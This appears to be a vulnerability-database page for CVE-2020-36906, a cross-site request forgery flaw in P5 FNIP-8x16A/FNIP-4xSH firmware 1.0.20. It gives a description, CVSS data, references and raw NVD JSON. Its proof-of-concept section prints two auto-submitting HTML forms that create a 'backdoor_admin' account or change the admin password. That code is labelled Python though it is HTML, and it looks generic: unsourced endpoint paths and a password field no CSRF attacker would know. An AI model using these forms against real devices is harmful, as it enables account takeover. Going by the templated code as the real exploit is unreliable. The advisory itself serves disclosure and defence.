CVE-2020-36906

Description

P5 FNIP-8x16A FNIP-4xSH 1.0.20 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without user consent. Attackers can craft malicious web pages to add new admin users, change passwords, and modify system configurations by tricking authenticated users into loading a specially crafted form.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

P5 FNIP-8x16A 固件版本 <= 1.0.20

P5 FNIP-4xSH 固件版本 <= 1.0.20

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2020-36906: P5 FNIP CSRF Admin Creation -->
<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h1>Please wait...</h1>
    <form id="csrfForm" action="http://TARGET_FNIP_IP/admin/user_create" method="POST" enctype="application/x-www-form-urlencoded">
        <!-- Add new admin user -->
        <input type="hidden" name="username" value="backdoor_admin">
        <input type="hidden" name="password" value="P@ssw0rd123">
        <input type="hidden" name="role" value="admin">
        <input type="hidden" name="action" value="create">
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

<!-- Alternative PoC: Change admin password -->
<!DOCTYPE html>
<html>
<body>
    <form id="passChange" action="http://TARGET_FNIP_IP/admin/change_password" method="POST">
        <input type="hidden" name="current_password" value="attacker_controlled">
        <input type="hidden" name="new_password" value="NewP@ssw0rd">
        <input type="hidden" name="confirm_password" value="NewP@ssw0rd">
    </form>
    <script>document.getElementById('passChange').submit();</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-36906
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-36906
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-36906/
[4] VulDB https://vuldb.com/cve/CVE-2020-36906
[5] https://exchange.xforce.ibmcloud.com/vulnerabilities/180252
[6] https://exchange.xforce.ibmcloud.com/vulnerabilities/180253
[7] https://packetstorm.news/files/id/157318
[8] https://www.exploit-db.com/exploits/48362
[9] https://www.p5.hu
[10] https://www.vulncheck.com/advisories/p-fnip-xa-fnip-xsh-cross-site-request-forgery-via-user-management
[11] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5564.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2020-36906", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:46.147", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "P5 FNIP-8x16A FNIP-4xSH 1.0.20 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without user consent. Attackers can craft malicious web pages to add new admin users, change passwords, and modify system configurations by tricking authenticated users into loading a specially crafted form."}, {"lang": "es", "value": "P5 FNIP-8x16A FNIP-4xSH 1.0.20 contiene una vulnerabilidad de falsificación de petición en sitios cruzados que permite a los atacantes realizar acciones administrativas sin el consentimiento del usuario. Los atacantes pueden crear páginas web maliciosas para añadir nuevos usuarios administradores, cambiar contraseñas y modificar configuraciones del sistema engañando a usuarios autenticados para que carguen un formulario especialmente diseñado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/180252", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/180253", "source": "[email protected]"}, {"url": "https://packetstorm.news/files/id/157318", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/48362", "source": "[email protected]"}, {"url": "https://www.p5.hu", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/p-fnip-xa-fnip-xsh-cross-site-request-forgery-via-user-management", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5564.php", "source": "[email protected]"}]}}